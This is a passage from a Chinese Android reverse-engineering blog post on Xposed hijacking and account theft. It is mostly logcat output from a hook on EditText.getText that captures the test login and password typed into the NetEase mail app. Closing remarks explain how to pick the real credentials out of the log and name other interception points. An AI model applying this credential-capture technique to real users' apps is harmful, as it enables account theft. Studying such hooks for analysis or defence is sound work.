10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:35.270 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:35.780 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:35.780 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:35.790 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:35.790 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:36.290 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:36.290 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:36.290 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:36.290 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease1
10-29 14:27:36.380 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease16
10-29 14:27:36.380 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease16
10-29 14:27:36.380 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease16
10-29 14:27:36.380 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease16
10-29 14:27:36.380 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease16
10-29 14:27:36.380 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease16
10-29 14:27:36.380 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease16
10-29 14:27:36.720 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:27:36.720 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:27:36.720 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:27:36.720 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:27:36.720 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:27:36.720 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:27:36.720 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:27:37.230 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:27:37.230 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:27:37.230 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:27:37.230 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:27:37.540 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:27:37.540 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:08.840 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:09.350 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:09.350 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:09.350 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:09.360 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:09.360 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: test@163.com
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.660 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.670 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.670 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163
10-29 14:28:09.670 1181-1181/com.netease.mobimail D/XposedXXHook﹕ android.widget.EditText::getText: netease163

帐号和密码是分开的，也有许多冗余，只要做适当处理还是能够分析出正确的帐号和密码的，例如一个最简单的规则：永远取最后一个。

其他通用的方法可以有：截获网络发送，加密API，文件保存等，这里不一一试了。

文档信息

本文作者：zhupite
本文链接：https://zhupite.com/android/xxzhushou-8.html
版权声明：自由转载-非商用-非衍生-保持署名（创意共享3.0许可证）

朱皮特的烂笔头

8、XPOSED四、劫持与盗号

文档信息

Search

Table of Contents